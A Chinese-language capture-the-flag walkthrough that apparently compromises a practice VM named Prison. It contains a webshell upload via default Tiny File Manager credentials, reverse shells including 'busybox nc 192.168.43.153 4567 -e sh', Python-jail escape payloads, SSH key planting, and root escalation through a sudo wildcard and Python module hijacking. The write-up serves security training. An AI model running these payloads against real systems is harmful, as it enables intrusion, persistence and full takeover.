端口扫描

1
2
3
4
5
6
7
8
9
10
# Nmap 7.95 scan initiated Fri Mar  6 21:07:11 2026 as: /usr/lib/nmap/nmap -p- -oA ports 192.168.43.10
Nmap scan report for Prison (192.168.43.10)
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: CE:7F:27:86:40:F8 (Unknown)

# Nmap done at Fri Mar 6 21:07:12 2026 -- 1 IP address (1 host up) scanned in 1.41 seconds

web 渗透

上 web 页面看了一眼,是个 Tiny File Manager,网上搜索到其默认凭据为 admin:admin@123

image1

于是用这个用户名密码登录:

image2

可以看到有个上传文件的地方,上传一个木马上去,接着尝试出网页存在 uploads 路径,再结合上传的文件名,就可以进行命令执行了:

1
2
3
┌──(kali㉿kali)-[~/HMV/prison]
└─$ curl -G 'http://192.168.43.10/uploads/test.php' --data-urlencode 'cmd=id'
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

进行反弹 shell 即可:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HMV/prison]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.43.10 37795
python3 -c "import pty;pty.spawn('/bin/sh')"
/var/www/localhost/uploads $

提权

我们现在是 nobody 用户,在 home 目录下存在 aristore 用户,我们无法访问其家目录。

/opt/jail/ 目录下发现了属于 aristore 用户的 jail.logjail.pyjail.py 我们不可读, jail.log 里面写着这个程序开在了 9999 端口:

1
2
/opt/jail $ head jail.log
2026-03-06 21:06:36,212 - MainThread - INFO - Server started on 127.0.0.1:9999

于是用 nc 访问本地的 9999 端口,返回了如下的内容:

1
2
3
4
/opt/jail $ nc 127.0.0.1 9999
nc 127.0.0.1 9999
=== Python Jail ===
Enter password:

这是一个 pyjail ,让我们输入密码,输入错误的密码就会输出密码错误,然后记录在 jail.log 里面。

我的想法是输入一些脏数据进行尝试,以及同时建立很多个连接,看它会不会把一部分的源代码给报错输出在 jail.log 里面。但尝试了很多次之后,只能泄漏一些无关紧要的代码片段。

于是我想着在靶机内部寻找密码,最终在 /etc/profile 中找到了一个密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

export PAGER=less
umask 022

# use nicer PS1 for bash and busybox ash
if [ -n "$BASH_VERSION" -o "$BB_ASH_VERSION" ]; then
PS1='\h:\w\$ '
# use nicer PS1 for zsh
elif [ -n "$ZSH_VERSION" ]; then
PS1='%m:%~%# '
# set up fallback default PS1
else
: "${HOSTNAME:=$(hostname)}"
PS1='${HOSTNAME%%.*}:$PWD'
[ "$(id -u)" -eq 0 ] && PS1="${PS1}# " || PS1="${PS1}\$ "
fi

for script in /etc/profile.d/*.sh ; do
if [ -r "$script" ] ; then
. "$script"
fi
done
unset script
export ENTRYPWD=OTA4YmY5OTBiMGMz

/etc/profile 是 Linux 系统中一个全局的 shell 配置文件,主要用于设置所有用户登录时的环境变量、启动程序或定义系统级的默认行为。

用这个密码去尝试登录刚才的程序,登录成功了:

1
2
3
4
5
6
7
8
9
10
11
12
/etc $ nc 127.0.0.1 9999
nc 127.0.0.1 9999
=== Python Jail ===
Enter password: OTA4YmY5OTBiMGMz
OTA4YmY5OTBiMGMz
Password correct! Enter Python Eval (type 'exit' to quit)
>>> 1+1
1+1
Result: 2
>>> import os
import os
Blocked! No cheating.

是个 pyjail ,有一些黑名单,用以下的 payload 可以读取文件:

1
2
3
>>> [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/home/aristore/user.txt")
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/home/aristore/user.txt")
Result: b'flag{user-3656dc8cdb26771dc5df08ed83cc7487}\n'

用如下的 payload 可以进行命令执行:

1
>>> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__[:5]=="_wrap"][0]['sy'+'stem']('busybox nc 192.168.43.153 4567 -e sh')

原本的 payload 是这样的:[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

接着我们在自己的 4567 端口收到了弹回来的 shell :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4567
Listening on 0.0.0.0 4567
Connection received on 192.168.43.10 35617
whoami
aristore
python3 -c "import pty;pty.spawn('/bin/sh')"
/ $ ls
ls
bin etc media root sys
boot home mnt run tmp
dev lib opt sbin usr
empty lost+found proc srv var
/ $ cd
cd
~ $ ls
ls
user.txt
~ $ cat user.txt
cat user.txt
flag{user-3656dc8cdb26771dc5df08ed83cc7487}

sudo -l 查看我们能 sudo 执行什么:

1
2
3
4
5
6
7
8
9
10
11
~ $sudo -l
sudo -l
Matching Defaults entries for aristore on Prison:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for aristore:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User aristore may run the following commands on Prison:
(ALL) NOPASSWD: /usr/bin/python3 -m http.server -d /tmp -b *

我们可以启动一个 http.server ,测试他估计需要比较好的交互性,我们先尝试进行 ssh 登录来提高交互性。

把 kali 的公钥写入到 /home/aristore/.ssh/authorized_keys

1
2
3
4
5
~/.ssh $ echo 'ssh-ed25519 AAAAC3XXXXXXXXXX kali@kali' > authorized_keys
echo 'ssh-ed25519 AAAAC3XXXXXXXXXX kali@kali' > authorized_keys
~/.ssh $ ls
ls
authorized_keys

接着进行 ssh 登录:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh aristore@192.168.43.10
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Prison:~$ whoami
aristore
Prison:~$

重定根目录

我们现在可以 sudo 执行 /usr/bin/python3 -m http.server -d /tmp -b *,最后 * 表示我们可以在这个命令后面加任何东西,所以我们可以直接 sudo /usr/bin/python3 -m http.server -d /tmp -b 0.0.0.0 -d /root 来重新指定 web 的根目录为 /root ,这样我们就可以进入到 /root 目录去读取 root flag 了:

1
2
3
4
5
Prison:~/test$ sudo /usr/bin/python3 -m http.server -d /tmp -b 0.0.0.0 -d /root 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
192.168.43.153 - - [07/Mar/2026 15:02:27] "GET / HTTP/1.1" 200 -
192.168.43.153 - - [07/Mar/2026 15:02:32] "GET /.ssh/ HTTP/1.1" 200 -
192.168.43.153 - - [07/Mar/2026 15:02:35] "GET /root.txt HTTP/1.1" 200 -

image3

root flag 为:

flag{root-41798091cdc86c8dab1813303dfc064c}

模块劫持

当然,我们也可以进行 模块劫持 来进行任意命令执行。

python3 在 -m 进行模块执行的时候,会优先从当前所在目录进行搜索,如果有相应的模块文件,就会直接执行。

所以我们可以在 /tmp 目录下创建一个 http 文件夹,在里面创建好 __init__.pyserver.py ,在 server.py 里面写入我们想要执行的命令,就可以达到模块劫持的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Prison:/tmp$ ls
http sess_qm5r69lq4ddehhdsiejtcn65ib success.txt
Prison:/tmp$ cd http
Prison:/tmp/http$ echo '' > __init__.py
Prison:/tmp/http$ vim server.py
Prison:/tmp/http$ cat server.py
import os
os.system('/bin/sh')
Prison:/tmp/http$ cd ..
Prison:/tmp$ sudo python3 -m http.server -d /tmp -b 127.0.0.1
/tmp # whoami
root
/tmp # cd /root
~ # ls
root.txt
~ # cat root.txt
flag{root-41798091cdc86c8dab1813303dfc064c}
~ #